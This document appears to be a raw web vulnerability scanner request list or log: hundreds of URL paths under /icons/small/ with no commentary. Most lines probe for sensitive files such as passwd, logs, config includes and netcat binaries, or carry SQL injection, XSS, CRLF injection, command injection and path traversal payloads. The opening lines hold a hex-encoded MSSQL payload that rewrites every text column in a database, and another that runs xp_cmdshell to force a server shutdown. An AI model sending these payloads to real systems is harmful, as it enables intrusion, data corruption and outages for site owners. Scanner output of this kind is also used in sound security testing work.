/icons/small/?C=;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0ª4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0049004D00470020005300520043003D0022002F00570046005F0058005300520046002E00680074006D006C0022003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);
/icons/small/?C=;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0ª650078006500630020006D00610073007400650072002E002E00780070005F0063006D0064007300680065006C006C0020002700730068007500740064006F0077006E0020002D0066002700%20AS%20NVARCHAR(4000));EXEC(@S);
/icons/small/?C=;vol|
/icons/small/?C=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
/icons/small/?C=AVAK$(RETURN_CODE)OS
/icons/small/?C=C:\boot.ini
/icons/small/?C=C:\windows\win.ini
/icons/small/?C=C:\winnt\win.ini
/icons/small/?C=D;O=A
/icons/small/?C=Foobar%3f%0d%0aAppScanHeader:%20AppScanValue%2f1%2e2%2d3%0d%0aSecondAppScanHeader:%20whatever
/icons/small/?C=M;O=A
/icons/small/?C=N;O=D
/icons/small/?C=N;O=D#&<(,+">;
/icons/small/?C=N;O=D%a5'%20having%201=1--
/icons/small/?C=N;O=D&%3E%27%22%3E%3Cscript%3Ealert%2825614%29%3C%2Fscript%3E=123
/icons/small/?C=N;O=D&%3E%27%22%3E%3Cscript%3Ealert%2825618%29%3C%2Fscript%3E=123
/icons/small/?C=N;O=D'"WFXSSProbe)/>
/icons/small/?C=N;O=D'%20+%20'somechars
/icons/small/?C=N;O=D'%20and%20'barfoo'='foobar
/icons/small/?C=N;O=D'%20and%20'barfoo'='foobar'%20--
/icons/small/?C=N;O=D'%20and%20'barfoo'='foobar')%20--
/icons/small/?C=N;O=D'%20and%20'foobar'='foobar
/icons/small/?C=N;O=D'%20and%20'foobar'='foobar'%20--
/icons/small/?C=N;O=D'%20and%20'foobar'='foobar')%20--
/icons/small/?C=N;O=D'%20exec%20master..xp_cmdshell%20'vol'--
/icons/small/?C=N;O=D'%20having%201=1--
/icons/small/?C=N;O=D'%20or%20'foobar'='foobar
/icons/small/?C=N;O=D'%20or%20'foobar'='foobar'%20--
/icons/small/?C=N;O=D'%20or%20'foobar'='foobar')%20--
/icons/small/?C=N;O=D'%20||%20'somechars
/icons/small/?C=N;O=D';
/icons/small/?C=N;O=D)%20having%201=1--
/icons/small/?C=N;O=D1%20having%201=1--
/icons/small/?C=N;O=DWFXSSProbe
/icons/small/?C=N;O=D\'%20having%201=1--
/icons/small/?C=S;O=A
/icons/small/?C=WF'SQL"Probe;A--B
/icons/small/?C=\"
/icons/small/?C=\'
/icons/small/?C=\..\..\..\..\..\..\..\..\boot.ini
/icons/small/?C=\..\..\..\..\..\..\..\..\windows\win.ini
/icons/small/?C=\..\..\..\..\..\..\..\..\winnt\win.ini
/icons/small/?C=\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini
/icons/small/?C=\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini
/icons/small/?C=\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini
/icons/small/?C=id|
/icons/small/?C=somechars'%20+%20'N;O=D
/icons/small/?C=somechars'%20||%20'N;O=D
/icons/small/?M=A
/icons/small/?S=D
/icons/small/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
/icons/small/CHANGELOG.txt
/icons/small/CHANGES
/icons/small/CHANGES.txt
/icons/small/CONFIGURE.txt
/icons/small/COPYRIGHT.txt
/icons/small/CVS/
/icons/small/CVS/Entries
/icons/small/CVS/Repository
/icons/small/CVS/Root
/icons/small/ChangeLog
/icons/small/CreatedByHP3
/icons/small/Default.asp
/icons/small/Default.aspx
/icons/small/EDM-ViewController-context-root/browse.do?act=%3CSCRIPT%3Ealert(25094);%3C/SCRIPT%3E&amp;select=1177281
/icons/small/INSTALL.html
/icons/small/INSTALL.mysql.txt
/icons/small/INSTALL.pgsql.txt
/icons/small/LICENSE.txt
/icons/small/Login.aspx
/icons/small/Login.do
/icons/small/Makefile
/icons/small/Output-Build.txt
/icons/small/RCS/
/icons/small/README.htm
/icons/small/README.html
/icons/small/ReadMe.txt
/icons/small/Readme
/icons/small/SELECT%09'aa'%09FROM%09TAB
/icons/small/TODO.txt
/icons/small/ToDo
/icons/small/Trace.axd
/icons/small/WEB-INF./web.xml
/icons/small/WEB-INF/web.xml
/icons/small/WFDir9274/
/icons/small/WS_FTP.LOG
/icons/small/WS_FTP.ini
/icons/small/_root_.sys
/icons/small/_vti_cnf/
/icons/small/access.log
/icons/small/access_log
/icons/small/accounts.asp
/icons/small/ackcmdc.exe
/icons/small/add_category.asp
/icons/small/admin.asp
/icons/small/admin.aspx
/icons/small/admin.cfg
/icons/small/admin.cfm
/icons/small/admin.cgi
/icons/small/admin.conf
/icons/small/admin.dat
/icons/small/admin.data
/icons/small/admin.db
/icons/small/admin.dbf
/icons/small/admin.exe
/icons/small/admin.htm
/icons/small/admin.html
/icons/small/admin.htx
/icons/small/admin.ini
/icons/small/admin.lst
/icons/small/admin.php
/icons/small/admin.php3
/icons/small/admin.pl
/icons/small/admin.pw
/icons/small/admin.shtml
/icons/small/admin.txt
/icons/small/admin.udl
/icons/small/admin_/
/icons/small/admin_/help/..%255Cplsql.conf
/icons/small/adovbs.inc
/icons/small/application.cfm
/icons/small/asp/samples/viewcode.asp?file=index.asp
/icons/small/batch_add.asp
/icons/small/batch_manage.asp
/icons/small/changelog.htm
/icons/small/changelog.html
/icons/small/changes.xml
/icons/small/changs.txt
/icons/small/cleanup.log
/icons/small/cleanup.txt
/icons/small/common.inc
/icons/small/config.inc
/icons/small/configuration.inc
/icons/small/configure
/icons/small/connect.asp?server=%3Cscript%3Ealert%2825140%29%3C%2Fscript%3E
/icons/small/connect.inc
/icons/small/connection.inc
/icons/small/content-space
/icons/small/core
/icons/small/customer.dbf
/icons/small/customers.dbf
/icons/small/data.dbf
/icons/small/data.htm
/icons/small/data.html
/icons/small/data.txt
/icons/small/database.inc
/icons/small/datafunc.inc
/icons/small/db.dbf
/icons/small/db.inc
/icons/small/dbconfig.inc
/icons/small/dbconn.inc
/icons/small/dbsamp.htm
/icons/small/debug.asp
/icons/small/debug.cfg
/icons/small/debug.cgi
/icons/small/debug.dat
/icons/small/debug.htm
/icons/small/debug.html
/icons/small/debug.inc
/icons/small/debug.pl
/icons/small/debug.txt
/icons/small/deploy.exe
/icons/small/dir.txt
/icons/small/dirs.txt
/icons/small/doexec.c
/icons/small/download.html
/icons/small/dvwssr.dll
/icons/small/email.txt
/icons/small/email_list.txt
/icons/small/email_template.txt
/icons/small/env.log
/icons/small/error.log
/icons/small/error_log
/icons/small/errors.log
/icons/small/errors_log
/icons/small/fuck.exe
/icons/small/functions.inc
/icons/small/global.inc
/icons/small/globals.jsa
/icons/small/hobbit.txt
/icons/small/include.inc
/icons/small/info.txt
/icons/small/info2.txt
/icons/small/install
/icons/small/install.htm
/icons/small/install.log
/icons/small/install.txt
/icons/small/install.xml
/icons/small/intranet.html
/icons/small/inventory.dbf
/icons/small/ipswitch.ini
/icons/small/localstart.asp
/icons/small/log.asp
/icons/small/log.cgi
/icons/small/log.htm
/icons/small/log.html
/icons/small/log.php
/icons/small/login.asp
/icons/small/login.dbf
/icons/small/logon.cgi
/icons/small/logon.htm
/icons/small/logon.html
/icons/small/logon.pl
/icons/small/logs.asp
/icons/small/logs.cgi
/icons/small/logs.htm
/icons/small/logs.html
/icons/small/logs.php
/icons/small/maintainers.txt
/icons/small/members.dbf
/icons/small/mkilog.exe
/icons/small/nc.exe
/icons/small/netcat
/icons/small/netcat.c
/icons/small/netcat.exe
/icons/small/nonExistentPage.asp
/icons/small/nonExistentPage.aspx
/icons/small/nonExistentPage.cfm
/icons/small/nonExistentPage.cgi
/icons/small/nonExistentPage.html
/icons/small/nonExistentPage.jhtml
/icons/small/nonExistentPage.jsp
/icons/small/nonExistentPage.msp
/icons/small/nonExistentPage.nsf
/icons/small/nonExistentPage.php
/icons/small/nonExistentPage.php3
/icons/small/nonExistentPage.php4
/icons/small/nonExistentPage.pl
/icons/small/nonExistentPage.shtml
/icons/small/nph-test-cgi
/icons/small/ora_errs.log
/icons/small/order.htm
/icons/small/order.html
/icons/small/order.txt
/icons/small/orders.asp
/icons/small/orders.dat
/icons/small/orders.htm
/icons/small/orders.html
/icons/small/orders.txt
/icons/small/output-build.txt
/icons/small/owa_util.listprint
/icons/small/owa_util.listprint?p_theQuery=SELECT%20*%20FROM%20SYS.TAB&p_cname=&p_nsize=
/icons/small/owa_util.show_query_columns
/icons/small/owa_util.showsource
/icons/small/owa_util.signature
/icons/small/pass.asp
/icons/small/pass.cfg
/icons/small/pass.cgi
/icons/small/pass.dat
/icons/small/pass.data
/icons/small/pass.db
/icons/small/pass.dbf
/icons/small/pass.exe
/icons/small/pass.htm
/icons/small/pass.html
/icons/small/pass.htx
/icons/small/pass.ini
/icons/small/pass.lst
/icons/small/pass.pl
/icons/small/pass.txt
/icons/small/passwd
/icons/small/passwd.txt
/icons/small/password
/icons/small/password.asp
/icons/small/password.cfg
/icons/small/password.cgi
